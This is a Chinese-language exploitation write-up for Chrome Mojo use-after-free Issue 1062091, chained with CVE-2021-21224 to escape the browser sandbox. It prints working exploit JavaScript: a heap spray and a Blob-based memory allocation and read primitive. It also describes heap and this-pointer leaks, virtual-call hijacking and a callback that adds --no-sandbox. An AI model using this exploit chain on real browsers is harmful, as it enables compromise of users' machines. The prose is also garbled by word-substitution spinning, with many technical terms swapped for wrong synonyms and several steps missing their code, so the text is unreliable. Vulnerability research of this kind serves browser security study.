Chrome Mojo 组件的沙箱逃逸缝隙剖析
缝隙环境
缝隙阐明
Issue-1062091为chrom中存在的一个UAF缝隙,此缝隙存在于chromium的Mojo框架中,运用此缝隙能够导致chrome与依据chromium的浏览器沙箱逃逸。 这个缝隙是在Chrome 81.0.4041.0的提交中引进的。在几周后,这个提交中的缝隙恰好移动到了实验版别命令行标志的后边。可是,这个更改坐落Chrome 82.0.4065.0版别中,因此该缝隙在Chrome稳定版别81的一切桌面平台上都是能够运用的。
环境配置
一开端打算像调试v8缝隙那样测验用fetch拉取代码编译带有缝隙的chromium,可是发现chromium源码下载太慢且太大,故直接下载编译好的chromium,地址:vikyd.github.io




缝隙剖析
POC
因为poc目录结构比较复杂,直接给出完好poc下载地址(需求署理):bugs.chromium.org 下载解压后能够得到两个html文件,其中trigger.html为咱们需求的poc

--enable-blink-features=MojoJS,MojoJSTest
参数。
二、运用另一个缝隙去改写当时Frame目标内部的一个变量content::RenderFrameImpl::enabled_bindings_
让Frame具有调用MojoJS的才干,经过以下途径能够得到该变量:
chrome.dll base => g_frame_map => RenderFrameImpl(main frame) => RenderFrameImpl.enabled_bindings_
关于改写变量部分详细可检查SCTF202中的0x02 exploit部分,在实践运用缝隙进行进犯时肯定选用第二种办法,而此刻仅需求剖析运用Issue 1062091缝隙即可,所以先不去过火关怀mojo敞开的问题,直接选用榜首种办法敞开mojo。 运用windbg进行调试


.childdbg 1
敞开子进程调试

ntdll!LdrpDoDebuggerBreak
后就会触发crash

缝隙剖析
经过调查反常信息可判别此处并非缝隙触发的榜首现场,运用gflags.exe敞开页堆(+hpa)与仓库跟踪(+ust)并在发动chrome时增加–no-sandbox参数进行调试剖析会发现溃散点会转移到前一句代码













- 经过window.location.hash判别是否是子帧
- 如果是子帧就去履行Mojo.bindInterface
- 如果是父帧就去创立子帧并用MojoInterfaceInterceptor拦截子帧的Mojo.bindInterface到并将其句柄传递给父帧
- 开释子帧
- 运用filterInstalledApps去调用现已被开释但却仍然还留有悬挂指针的render_frame_host_虚函数
缝隙运用
敞开Mojo
上文中提到过chrome默认不能直接调用mojo,所以此处运用cve 2021-21224来合作敞开mojo。 经过剖析可知mojoJS的敞开与封闭主要由RenderFrameImpl类成员变量enabled_bindings_与IsMainFrame函数来决议











内存收回
关于uaf缝隙运用的榜首步肯定是将此内存进行收回,而进行内存收回的条件就是先需求知道被开释的render_frame_host_占多大内存,经过前面的调试剖析得知render_frame_host_为RenderFrameHostImpl类实例,所以能够先对RenderFrameHostImpl结构函数下断,而实例巨细从结构函数是看不出来的,但能够从调用该实例结构函数的函数中看到。 经过kb栈回溯检查调用RenderFrameHostImpl结构函数的函数为RenderFrameHostFactory::Create


var spray_buff = new ArrayBuffer(0xC38);
var spray_view = new DataView(spray_buff);
for(var i = 0; i < spray_buff.byteLength; i++)
spray_view.setInt8(i, 0x41, true);
//开释子帧
for(var i = 0; i < 0xA; i++)
spray_arr[i] = new Blob([spray_buff]);

function getAllocationConstructor() {
let blob_registry_ptr =
new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(
blob_registry_ptr)
.handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({
elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream(
"", "", size, this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({
elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(
offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this
.readpipe
.consumer
.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation =
new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
//.....
let allocate = getAllocationConstructor();
function spray(data) {
return Promise
.all(Array(0x8)
.fill()
.map(() => allocate(data)));
}
// 开释
let ptr = await getFreedPtr();
// 收回
let sa = await spray(spray_buff);
// 触发缝隙
防止溃散
堆地址走漏
此刻因为原本存放render_frame_host_目标的内存现在被blob所占用,所以当调用render_frame_host_目标虚函数GetProcess时就会去调用spray_buff中的元素值+0x48处,而spray_buff对应方位值为0x4141414141414141所以此刻仍然会触发溃散










render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()
后就能够在堆喷占位数据的0x660偏移处得到一个需求的堆地址
this地址走漏
因为在上一步操作中现已走漏了堆地址而且还将this指针写入了堆地址+0x8偏移处,所以能够运用前面走漏堆地址的思路将UAF缝隙再触发一次,并把之前拿到的走漏的堆地址写入堆喷占位数据的对应偏移处即可获取到this指针,因为前面的缝隙运用this指针正好指向咱们可控的堆喷占位数据,拿到了this地址也就得到了当时可控数据的地址。
继续将ChromeMainDelegate::CreateContentClient函数放入GetProcess与GetBrowserContext函数对应的调用方位,现在只需求再找到一个符合条件能够将this指针从堆地址中获取到的函数,经过查找找到anonymous namespace'::DictionaryIterator::Start
函数正好符合要求。



沙盒逃逸
沙河逃逸的思路比较简单,经过回调去履行SetCommandLineFlagsForSandboxType函数将–no-sandbox参数增加到current_process_commandline_中。 首先需求找到一个能够调用回调函数的虚函数,经过查找找到content::responsiveness::MessageLoopObserver::DidProcessTask函数






总结
- 21224缝隙触发后在触发1062091前浏览器就产生溃散——手动delete整理掉oob数组
- 在敞开mojo时修正RenderFrameImpl目标相应变量导致页面溃散——21224中结构的读写原语在循环体中一起频繁读写会导致此问题,去掉部分不必要的读或写操作
- 将相应成员变量值写入对应的RenderFrameImpl目标偏移后mojo仍然没有敞开——在 81.0.4044.0版别chromium中在写入enabled_bindings_时需求将g_frame_map中拿到的RenderFrameImpl目标地址加0x68再加enabled_bindings_地点偏移,而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl目标的0x88偏移处。
- 原POC中用到的MojoInterfaceInterceptor需求敞开MojoJSTest绑定才干运用——运用其他办法传递sub frame中的句柄给main frame,例如在sub frame的onload事情中运用contentWindow获取其句柄再传递给main frame,但此办法直接在本地履行时会出现跨域的问题需求起一个服务器去拜访履行。